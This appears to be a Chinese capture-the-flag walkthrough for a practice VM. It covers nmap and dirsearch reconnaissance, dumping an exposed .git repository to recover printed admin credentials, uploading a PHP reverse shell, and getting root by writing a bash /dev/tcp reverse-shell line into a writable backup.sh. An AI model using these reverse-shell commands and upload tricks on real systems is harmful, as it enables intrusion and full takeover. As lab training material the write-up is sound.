靶机搭建
靶机下载地址
在Virtualbox中打开下载好的靶机,网络配置修改为桥接模式,启动靶机即可。
信息收集
主机发现
nmap 192.168.31.0/24 -Pn -T4
靶机IP:192.168.31.244
端口扫描
nmap 192.168.31.244 -A -p- -T4
根据端口扫描结果可知开放了22,80端口,并且80端口的http服务直接暴露了/.git/(Git是一个被用于协同开发和代码刮玻璃的开源分布式和版本控制系统),可以考虑git信息泄露。
web站点信息收集
访问80端口。
直接访问/.git提示forbidden。目录扫描看看有没有其他信息。
dirsearch -u http://192.168.31.244
看到/.git下还有很多目录文件,一些能访问,大概率就是git信息泄露。根据文件内容猜测用户名是admin。
访问/admin.php,一个登录页面。用户名admin,密码尝试sql万能密码失败并提示不需要暴力破解。
渗透
git信息泄露漏洞
git泄露漏洞产生原因:由于开发人员用git进行版本控制,对站点自动部署,如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
使用githack下载Git存储库获取包含未加密密码。
python2 GitHack.py http://192.168.31.244/.git
到提示的文件夹看Git数据库。在admin.php中发现用户名和密码,admin:st@mpch0rdt.ightiRu$glo0mappL3
访问admin.php成功登录后是文件上传功能点。
利用文件上传getshell
上传反弹shell,用kali自带的php-reverse-shell.php(/usr/share/webshells/php),记得要修改ip和port。
前面目录扫描得到一个路径/upload,猜测文件上传的保存路径是/upload。nc开启监听,访问/upload/php-reverse-shell.php。
# 获得交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
get flag.txt!
提权
eric家目录下不仅有flag.txt,还有backup.sh,可读可写可执行。
在backup.sh中写入反弹shell即可拿到root权限。
# 向backup.sh写入反弹shell
echo 'bash -i >& /dev/tcp/攻击机ip/5555 0>&1' > backup.sh
# 运行backup.sh
./backup.sh
# 攻击机监听端口
nc -lvp 5555
拿到root shell。
get flag.txt!🎆